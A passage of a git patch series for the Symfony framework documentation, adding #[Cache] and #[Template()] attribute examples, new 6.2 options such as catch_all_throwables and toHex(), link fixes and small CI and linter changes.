+        // names for which the response varies
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(vary: ['Accept-Encoding'])]
+        #[Cache(vary: ['Accept-Encoding', 'User-Agent'])]
+        public function index()
+        {
+            // ...
+        }
+
+    .. code-block:: php
+
+        // this method takes a header name or an array of header names for
+        // which the response varies
+        $response->setVary('Accept-Encoding');
+        $response->setVary(['Accept-Encoding', 'User-Agent']);
diff --git a/http_cache/esi.rst b/http_cache/esi.rst
index f05fa195a22..9b320f3bf5e 100644
--- a/http_cache/esi.rst
+++ b/http_cache/esi.rst
@@ -166,20 +166,41 @@ used ``render()``.
 The embedded action can now specify its own caching rules entirely independently
 of the main page::
 
-    // src/Controller/NewsController.php
-    namespace App\Controller;
+.. configuration-block::
 
-    // ...
-    class NewsController extends AbstractController
-    {
-        public function latest($maxPerPage)
+    .. code-block:: php-attributes
+
+        // src/Controller/NewsController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        class NewsController extends AbstractController
         {
-            // sets to public and adds some expiration
-            $response->setSharedMaxAge(60);
+            #[Cache(smaxage: 60)]
+            public function latest($maxPerPage)
+            {
+                // ...
+            }
+        }
 
-            return $response;
+    .. code-block:: php
+
+        // src/Controller/NewsController.php
+        namespace App\Controller;
+
+        // ...
+        class NewsController extends AbstractController
+        {
+            public function latest($maxPerPage)
+            {
+                // sets to public and adds some expiration
+                $response->setSharedMaxAge(60);
+
+                return $response;
+            }
         }
-    }
 
 In this example, the embedded action is cached publicly too because the contents
 are the same for all requests. However, in other cases you may need to make this
diff --git a/http_cache/expiration.rst b/http_cache/expiration.rst
index ae436e631ee..cc92f689403 100644
--- a/http_cache/expiration.rst
+++ b/http_cache/expiration.rst
@@ -24,10 +24,25 @@ Expiration with the ``Cache-Control`` Header
 Most of the time, you will use the ``Cache-Control`` header, which
 is used to specify many different cache directives::
 
-    // sets the number of seconds after which the response
-    // should no longer be considered fresh by shared caches
-    $response->setPublic();
-    $response->setMaxAge(600);
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(public: true, maxage: 600)]
+        public function index()
+        {
+            // ...
+        }
+
+    .. code-block:: php
+
+        // sets the number of seconds after which the response
+        // should no longer be considered fresh by shared caches
+        $response->setPublic();
+        $response->setMaxAge(600);
 
 The ``Cache-Control`` header would take on the following format (it may have
 additional directives):
@@ -57,13 +72,28 @@ or disadvantage to either.
 
 According to the HTTP specification, "the ``Expires`` header field gives
 the date/time after which the response is considered stale." The ``Expires``
-header can be set with the ``setExpires()`` ``Response`` method. It takes a
-``DateTime`` instance as an argument::
+header can be set with the ``expires`` option of the ``#[Cache()]`` attribute or
+the ``setExpires()`` ``Response`` method::
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
+
+        #[Cache(expires: '+600 seconds')]
+        public function index()
+        {
+            // ...
+        }
+
+    .. code-block:: php
 
-    $date = new DateTime();
-    $date->modify('+600 seconds');
+        $date = new DateTime();
+        $date->modify('+600 seconds');
 
-    $response->setExpires($date);
+        $response->setExpires($date);
 
 The resulting HTTP header will look like this:
 
@@ -73,8 +103,8 @@ The resulting HTTP header will look like this:
 
 .. note::
 
-    The ``setExpires()`` method automatically converts the date to the GMT
-    timezone as required by the specification.
+    The ``expires` option and the ``setExpires()`` method automatically convert
+    the date to the GMT timezone as required by the specification.
 
 Note that in HTTP versions before 1.1 the origin server wasn't required to
 send the ``Date`` header. Consequently, the cache (e.g. the browser) might
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index 23459588a33..449edfe5e5b 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -88,28 +88,55 @@ Suppose you have a page with private content like a Profile page and you want
 to cache a static GDPR content block. With SSI, you can add some expiration
 on this block and keep the page private::
 
-    // src/Controller/ProfileController.php
-    namespace App\Controller;
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Controller/ProfileController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpKernel\Attribute\Cache;
+        // ...
 
-    // ...
-    class ProfileController extends AbstractController
-    {
-        public function index(): Response
+        class ProfileController extends AbstractController
         {
-            // by default, responses are private
-            return $this->render('profile/index.html.twig');
+            public function index(): Response
+            {
+                // by default, responses are private
+                return $this->render('profile/index.html.twig');
+            }
+
+            #[Cache(smaxage: 600)]
+            public function gdpr(): Response
+            {
+                return $this->render('profile/gdpr.html.twig');
+            }
         }
 
-        public function gdpr(): Response
+    .. code-block:: php
+
+        // src/Controller/ProfileController.php
+        namespace App\Controller;
+
+        // ...
+        class ProfileController extends AbstractController
         {
-            $response = $this->render('profile/gdpr.html.twig');
+            public function index(): Response
+            {
+                // by default, responses are private
+                return $this->render('profile/index.html.twig');
+            }
+
+            public function gdpr(): Response
+            {
+                $response = $this->render('profile/gdpr.html.twig');
 
-            // sets to public and adds some expiration
-            $response->setSharedMaxAge(600);
+                // sets to public and adds some expiration
+                $response->setSharedMaxAge(600);
 
-            return $response;
+                return $response;
+            }
         }
-    }
 
 The profile index page has not public caching, but the GDPR block has
 10 minutes of expiration. Let's include this block into the main one:

From 2c57a5b6207ceabd93a7d550ab76384078bf852a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 16:00:29 +0200
Subject: [PATCH 2057/5766] [HttpKernel] Document the catch_all_throwables
 option

---
 reference/configuration/framework.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 73b35de2336..8595a2cc281 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -53,6 +53,20 @@ will invalidate all signed URIs and Remember Me cookies. That's why, after
 changing this value, you should regenerate the application cache and log
 out all the application users.
 
+catch_all_throwables
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
+thrown by the application and will turn them into HTTP reponses.
+
+Starting from Symfony 7.0, the default value of this option will be ``true``.
+
+.. versionadded:: 6.2
+
+    The ``catch_all_throwables`` option was introduced in Symfony 6.2.
+
 .. _configuration-framework-http_cache:
 
 http_cache

From ee0f4108f1d01b28508ed2b477bebd6a216e4511 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 16:36:16 +0200
Subject: [PATCH 2058/5766] [Notifier] Mention the "test" option of SmsApi

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 34934e681b5..30893558654 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -86,7 +86,7 @@ Sendberry       ``symfony/sendberry-notifier``        ``sendberry://USERNAME:PAS
 Sendinblue      ``symfony/sendinblue-notifier``       ``sendinblue://API_KEY@default?sender=PHONE``
 Sms77           ``symfony/sms77-notifier``            ``sms77://API_KEY@default?from=FROM``
 Sinch           ``symfony/sinch-notifier``            ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
-Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM``
+Smsapi          ``symfony/smsapi-notifier``           ``smsapi://TOKEN@default?from=FROM&test=0``
 SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@default?from=FROM&test_mode=0``
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spot-hit-notifier``         ``spothit://TOKEN@default?from=FROM``
@@ -101,6 +101,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
     The 46elks, OrangeSms, KazInfoTeh and Sendberry integrations were introduced in Symfony 6.1.
     The ``no_stop_clause`` option in ``OvhCloud`` DSN was introduced in Symfony 6.1.
+    The ``test`` option in ``Smsapi`` DSN was introduced in Symfony 6.1.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 9600a879cf666da13c7acb4c7afac5c03dc790f0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:07:46 +0200
Subject: [PATCH 2059/5766] Improve the explanation of the setfacl command
 usage

---
 setup/file_permissions.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index f3e250fbb9f..7bf2d0bf035 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -44,7 +44,8 @@ server user and grant the needed permissions:
 .. code-block:: terminal
 
     $ HTTPDUSER=$(ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\  -f1)
-    # if this doesn't work, try adding `-n` option
+
+    # if the following commands don't work, try adding `-n` option to `setfacl`
 
     # set permissions for future files and folders
     $ sudo setfacl -dR -m u:"$HTTPDUSER":rwX -m u:$(whoami):rwX var

From 0960134dd2ce2df09293c4c7777e09bbc582276d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 17:44:50 +0200
Subject: [PATCH 2060/5766] [HttpCache] Update a link to Varnish cookie docs

---
 http_cache/varnish.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index d94e1dbcf7e..cd78237bd4b 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -235,7 +235,7 @@ proxy before it has expired, it adds complexity to your caching setup.
 
 .. _`Varnish`: https://varnish-cache.org/
 .. _`Edge Architecture`: http://www.w3.org/TR/edge-arch
-.. _`clean the cookies header`: https://varnish-cache.org/trac/wiki/VCLExampleRemovingSomeCookies
+.. _`clean the cookies header`: https://varnish-cache.org/docs/7.0/reference/vmod_cookie.html
 .. _`Surrogate-Capability Header`: http://www.w3.org/TR/edge-arch
 .. _`cache invalidation`: https://tools.ietf.org/html/rfc2616#section-13.10
 .. _`FOSHttpCacheBundle`: https://foshttpcachebundle.readthedocs.io/en/latest/features/user-context.html

From bf85ab38c5a7342413565a135b05427e4c8b9454 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 18 Jul 2022 22:04:03 +0200
Subject: [PATCH 2061/5766] added enable http cache xml example

---
 http_cache.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/http_cache.rst b/http_cache.rst
index e4efce9077c..458839c371e 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -89,6 +89,26 @@ Use the ``framework.http_cache`` option to enable the proxy for the
             framework:
                 http_cache: true
 
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <when env="prod">
+              <framework:config>
+                  <!-- ... -->
+                  <framework:http-cache enabled="true"/>
+              </framework:config>
+            </when>
+        </container>
+
     .. code-block:: php
 
         // config/packages/framework.php

From e34c9d070298755999b0568fa762673287399ade Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Mon, 18 Jul 2022 22:21:53 +0200
Subject: [PATCH 2062/5766] added validation model ref link

---
 http_cache/validation.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/http_cache/validation.rst b/http_cache/validation.rst
index 599d0883b52..bf96112a88a 100644
--- a/http_cache/validation.rst
+++ b/http_cache/validation.rst
@@ -9,7 +9,7 @@ data, the expiration model falls short. With the `expiration model`_, the
 application won't be asked to return the updated response until the cache
 finally becomes stale.
 
-The validation model addresses this issue. Under this model, the cache continues
+The `validation model`_ addresses this issue. Under this model, the cache continues
 to store responses. The difference is that, for each request, the cache asks the
 application if the cached response is still valid or if it needs to be regenerated.
 If the cache *is* still valid, your application should return a 304 status code
@@ -235,6 +235,7 @@ headers that must not be present for ``304`` responses (see
 :method:`Symfony\\Component\\HttpFoundation\\Response::setNotModified`).
 
 .. _`expiration model`: https://tools.ietf.org/html/rfc2616#section-13.2
+.. _`validation model`: https://tools.ietf.org/html/rfc2616#section-13.3
 .. _`HTTP ETag`: https://en.wikipedia.org/wiki/HTTP_ETag
 .. _`DeflateAlterETag`: https://httpd.apache.org/docs/trunk/mod/mod_deflate.html#deflatealteretag
 .. _`BrotliAlterETag`: https://httpd.apache.org/docs/2.4/mod/mod_brotli.html#brotlialteretag

From b80500756b4cfdb33393cd937d2fae1f12951fbd Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Tue, 19 Jul 2022 10:14:47 +0200
Subject: [PATCH 2063/5766] [Security] Add link to page with expressions

---
 security.rst             | 1 +
 security/expressions.rst | 4 ++--
 2 files changed, 3 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 9639d7c7e9a..a658f9d5049 100644
--- a/security.rst
+++ b/security.rst
@@ -1092,6 +1092,7 @@ Authorization (Denying Access)
 .. toctree::
     :maxdepth: 1
 
+    security/expressions
     security/voters
     security/securing_services
     security/access_control
diff --git a/security/expressions.rst b/security/expressions.rst
index 3c3aa6e0795..e8e17524142 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Expressions in the Framework
 
-Security: Complex Access Controls with Expressions
+Complex Access Controls with Expressions
 ==================================================
 
 .. seealso::
@@ -14,7 +14,7 @@ accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
     // src/Controller/MyController.php
     namespace App\Controller;
-    
+
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\ExpressionLanguage\Expression;
     use Symfony\Component\HttpFoundation\Response;

From facd25d17258f4205e1943723e7a1b858211d248 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 12:33:37 +0200
Subject: [PATCH 2064/5766] [Security] Mention the SensitiveParameter attribute

---
 security.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/security.rst b/security.rst
index 72ec1c16ba4..80521622bcc 100644
--- a/security.rst
+++ b/security.rst
@@ -474,6 +474,12 @@ You can also manually hash a password by running:
 Read more about all available hashers and password migration in
 :doc:`security/passwords`.
 
+.. versionadded:: 6.2
+
+    In applications using Symfony 6.2 and PHP 8.2 or newer, the
+    `SensitiveParameter PHP attribute`_ is applied to all plain passwords and
+    sensitive tokens so they don't appear in stack traces.
+
 .. _firewalls-authentication:
 .. _a-authentication-firewalls:
 
@@ -2658,3 +2664,4 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
+.. _`SensitiveParameter PHP attribute`: https://wiki.php.net/rfc/redact_parameters_in_back_traces

From 3abdbc3fb4699c13bac9e3258621d2cb147774c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 15:32:35 +0200
Subject: [PATCH 2065/5766] [Security] Document the getFirewallConfig() method

---
 security.rst | 38 ++++++++++++++++++++++++++++++++++++--
 1 file changed, 36 insertions(+), 2 deletions(-)

diff --git a/security.rst b/security.rst
index 72ec1c16ba4..5971291ee46 100644
--- a/security.rst
+++ b/security.rst
@@ -599,8 +599,42 @@ anything else within your firewall in the :ref:`access control
 
         $ composer require --dev symfony/profiler-pack
 
-Now that we understand our firewall, the next step is to create a way for your
-users to authenticate!
+Fetching the Firewall Configuration for a Request
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you need to get the configuration of the firewall that matched a given request,
+use the :class:`Symfony\\Bundle\\SecurityBundle\\Security\\Security` service::
+
+    // src/Service/ExampleService.php
+    // ...
+
+    use Symfony\Bundle\SecurityBundle\Security\Security;
+    use Symfony\Component\HttpFoundation\RequestStack;
+
+    class ExampleService
+    {
+        private Security $security;
+
+        public function __construct(Security $security, RequestStack $requestStack)
+        {
+            $this->requestStack = $requestStack;
+            // Avoid calling getFirewallConfig() in the constructor: auth may not
+            // be complete yet. Instead, store the entire Security object.
+            $this->security = $security;
+        }
+
+        public function someMethod()
+        {
+            $request = $this->requestStack->getCurrentRequest();
+            $firewallName = $this->security->getFirewallConfig($request)?->getName();
+
+            // ...
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The ``getFirewallConfig()`` method was introduced in Symfony 6.2.
 
 .. _security-authenticators:
 

From 112e6bb27c4b82d364725b70c21b0a91586fb28b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 18 Jul 2022 11:42:37 +0200
Subject: [PATCH 2066/5766] Add #[Template()] attribute

---
 best_practices.rst         |  8 --------
 components/http_kernel.rst | 13 ++++++-------
 templates.rst              | 32 ++++++++++++++++++++++++++++++++
 3 files changed, 38 insertions(+), 15 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index a955c35920a..63db9f9a94d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -234,14 +234,6 @@ configuration. You don't need to browse several files created with different
 formats (YAML, XML, PHP): all the configuration is just where you need it and
 it only uses one format.
 
-Don't Use Annotations to Configure the Controller Template
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``@Template`` annotation is useful, but also involves some *magic*.
-Moreover, most of the time ``@Template`` is used without any parameters, which
-makes it more difficult to know which template is being rendered. It also hides
-the fact that a controller should always return a ``Response`` object.
-
 Use Dependency Injection to Get Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 370e960c95f..cfaa8efab96 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -409,12 +409,12 @@ return a ``Response``.
 
 .. sidebar:: ``kernel.view`` in the Symfony Framework
 
-    There is no default listener inside the Symfony Framework for the ``kernel.view``
-    event. However, `SensioFrameworkExtraBundle`_ *does* add a listener to this
-    event. If your controller returns an array, and you place the `@Template`_
-    annotation above the controller, then this listener renders a template,
-    passes the array you returned from your controller to that template, and
-    creates a ``Response`` containing the returned content from that template.
+    There is a default listener inside the Symfony Framework for the ``kernel.view``
+    event. If your controller action returns an array, and you apply the
+    :ref:`#[Template()] attribute <templates-template-attribute>` to that
+    controller action, then this listener renders a template, passes the array
+    you returned from your controller to that template, and creates a ``Response``
+    containing the returned content from that template.
 
     Additionally, a popular community bundle `FOSRestBundle`_ implements
     a listener on this event which aims to give you a robust view layer
@@ -751,5 +751,4 @@ Learn more
 .. _`PHP FPM`: https://www.php.net/manual/en/install.fpm.php
 .. _`SensioFrameworkExtraBundle`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/index.html
 .. _`@ParamConverter`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
-.. _`@Template`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/view.html
 .. _variadic: https://www.php.net/manual/en/functions.arguments.php#functions.variable-arg-list
diff --git a/templates.rst b/templates.rst
index e406445787b..9448756c3e7 100644
--- a/templates.rst
+++ b/templates.rst
@@ -470,6 +470,38 @@ If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and
 use the ``render()`` method of the ``twig`` service.
 
+.. _templates-template-attribute:
+
+Another option is to use the ``#[Template()]`` attribute on the controller method
+to define the template to render::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+
+    class ProductController extends AbstractController
+    {
+        #[Template('product/index.html.twig')]
+        public function index()
+        {
+            // ...
+
+            // when using the #[Template()] attribute, you only need to return
+            // an array with the parameters to pass to the template (the attribute
+            // is the one which will create and return the Response object).
+            return [
+                'category' => '...',
+                'promotions' => ['...', '...'],
+            ];
+        }
+    }
+
+.. versionadded:: 6.2
+
+    The ``#[Template()]`` attribute was introduced in Symfony 6.2.
+
 Rendering a Template in Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f2419796809c7eecf94f364584daacba15fe0114 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 20 Jul 2022 01:32:00 +0200
Subject: [PATCH 2067/5766] Fix link to CacheInterface

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3388e0eecc9..54c47dfe145 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2554,7 +2554,7 @@ cache
 **type**: ``string``
 
 The service that is used to persist class metadata in a cache. The service
-has to implement the :class:`Symfony\\Component\\Validator\\Mapping\\Cache\\CacheInterface`.
+has to implement the :class:`Symfony\\Contracts\\Cache\\CacheInterface`.
 
 Set this option to ``validator.mapping.cache.doctrine.apc`` to use the APC
 cache provided by the Doctrine project.

From fb505de41c695d00240ba40fb8380dac514051c3 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 16:20:52 -0400
Subject: [PATCH 2068/5766] [ci] allow flex to run in CI

---
 .github/workflows/ci.yaml | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 87ccb0b1d75..7174f5d4cf2 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -116,6 +116,11 @@ jobs:
             if: ${{ steps.find-files.outputs.files }}
             run: composer create-project symfony-tools/code-block-checker:@dev _checker
 
+          - name: Allow Flex
+            if: ${{ steps.find-files.outputs.files }}
+            run: |
+              composer config --no-plugins allow-plugins.symfony/flex true
+
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |

From 7be6387fb70d218029456102b46eac1930785aa3 Mon Sep 17 00:00:00 2001
From: Jesse Rushlow <jr@rushlow.dev>
Date: Wed, 20 Jul 2022 17:35:21 -0400
Subject: [PATCH 2069/5766] [DI] add missing linter exception

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 3e716028b86..d20f3387b76 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -91,6 +91,7 @@ whitelist:
         - '.. versionadded:: 1.8' # MakerBundle
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
+        - '.. versionadded:: 5.1' # Private Services
         - '0 => 123' # assertion for var_dumper - components/var_dumper.rst
         - '1 => "foo"' # assertion for var_dumper - components/var_dumper.rst
         - '123,' # assertion for var_dumper - components/var_dumper.rst

From 6b0c6f296c8db1a9ac0e0ccee5ece966d24c3c82 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 21 Jul 2022 16:47:35 +0200
Subject: [PATCH 2070/5766] [Debug] Add `resolve-env` option documentation of
 `debug:config` command

---
 reference/configuration/debug.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index e77ee6e7bd6..1a0246eb0d1 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -16,6 +16,12 @@ key in your application configuration.
     # displays the actual config values used by your application
     $ php bin/console debug:config debug
 
+.. note::
+
+    The ``--resolve-env`` option is available with the ``debug:config``
+    command, which will resolved environment variables when
+    displaying the configuration values.
+
 .. note::
 
     When using XML, you must use the ``http://symfony.com/schema/dic/debug``

From 8c0fdcba5daa8f029a736e56640a536a881b0288 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Thu, 21 Jul 2022 17:36:46 +0200
Subject: [PATCH 2071/5766] Added toHex method to AbstractUid class

---
 components/uid.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index d81e593f812..29d6911ba70 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -84,6 +84,7 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
+    $uuid->toHex(); // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
 
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
@@ -258,6 +259,7 @@ Use these methods to transform the ULID object into different bases::
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
+    $ulid->toHex(); // string(34) "0x0171069d593d97d38b3e23d06de5b308"
 
 Working with ULIDs
 ~~~~~~~~~~~~~~~~~~

From 2a5c0111112c6075de69ac5442286895c3a71839 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 21 Jul 2022 17:53:39 +0200
Subject: [PATCH 2072/5766] Add the versionadded directive

---
 components/uid.rst | 12 ++++++++++--
 1 file changed, 10 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 29d6911ba70..6e50ddfca59 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -84,7 +84,11 @@ Use these methods to transform the UUID object into different bases::
     $uuid->toBase32();  // string(26) "6SWYGR8QAV27NACAHMK5RG0RPG"
     $uuid->toBase58();  // string(22) "TuetYWNHhmuSQ3xPoVLv9M"
     $uuid->toRfc4122(); // string(36) "d9e7a184-5d5b-11ea-a62a-3499710062d0"
-    $uuid->toHex(); // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
+    $uuid->toHex();     // string(34) "0xd9e7a1845d5b11eaa62a3499710062d0"
+
+.. versionadded:: 6.2
+
+    The ``toHex()`` method was introduced in Symfony 6.2.
 
 Working with UUIDs
 ~~~~~~~~~~~~~~~~~~
@@ -259,7 +263,11 @@ Use these methods to transform the ULID object into different bases::
     $ulid->toBase32();  // string(26) "01E439TP9XJZ9RPFH3T1PYBCR8"
     $ulid->toBase58();  // string(22) "1BKocMc5BnrVcuq2ti4Eqm"
     $ulid->toRfc4122(); // string(36) "0171069d-593d-97d3-8b3e-23d06de5b308"
-    $ulid->toHex(); // string(34) "0x0171069d593d97d38b3e23d06de5b308"
+    $ulid->toHex();     // string(34) "0x0171069d593d97d38b3e23d06de5b308"
+
+.. versionadded:: 6.2
+
+    The ``toHex()`` method was introduced in Symfony 6.2.
 
 Working with ULIDs
 ~~~~~~~~~~~~~~~~~~

From 994497aa9d81409beb8fb5417ec9d3ac67adac52 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Thu, 21 Jul 2022 23:21:23 +0200
Subject: [PATCH 2073/5766] add command related to tags

---
 reference/dic_tags.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 768e4464b75..28d11c3c392 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -8,6 +8,18 @@ services that require special processing, like console commands or Twig extensio
 This article shows the most common tags provided by Symfony components, but in
 your application there could be more tags available provided by third-party bundles.
 
+Run this command to display tagged services in your application:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tags
+
+To search for a specific tag, re-run this command with a search term:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag=form.type
+
 auto_alias
 ----------
 

From 0ca983234ae5e675cad5c07ff3979753c6158a9b Mon Sep 17 00:00:00 2001
From: Florent Mata <fmata@bedream.fr>
Date: Mon, 6 Jun 2022 17:31:39 +0200
Subject: [PATCH 2074/5766] Update Expression constraint with "negate" option

---
 reference/constraints/Expression.rst | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)

diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 1df2fe73653..e9fec8bfa8e 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -143,6 +143,13 @@ expression that must return true in order for validation to pass. To learn
 more about the expression language syntax, see
 :doc:`/components/expression_language/syntax`.
 
+.. versionadded:: 6.2
+
+   The `negate` option was introduced in Symfony 6.2.
+
+Alternatively, you can set the `negate` option to ``false`` in order to
+assert that the expression must return ``true`` for validation to fail.
+
 .. sidebar:: Mapping the Error to a Specific Field
 
     You can also attach the constraint to a specific property and still validate
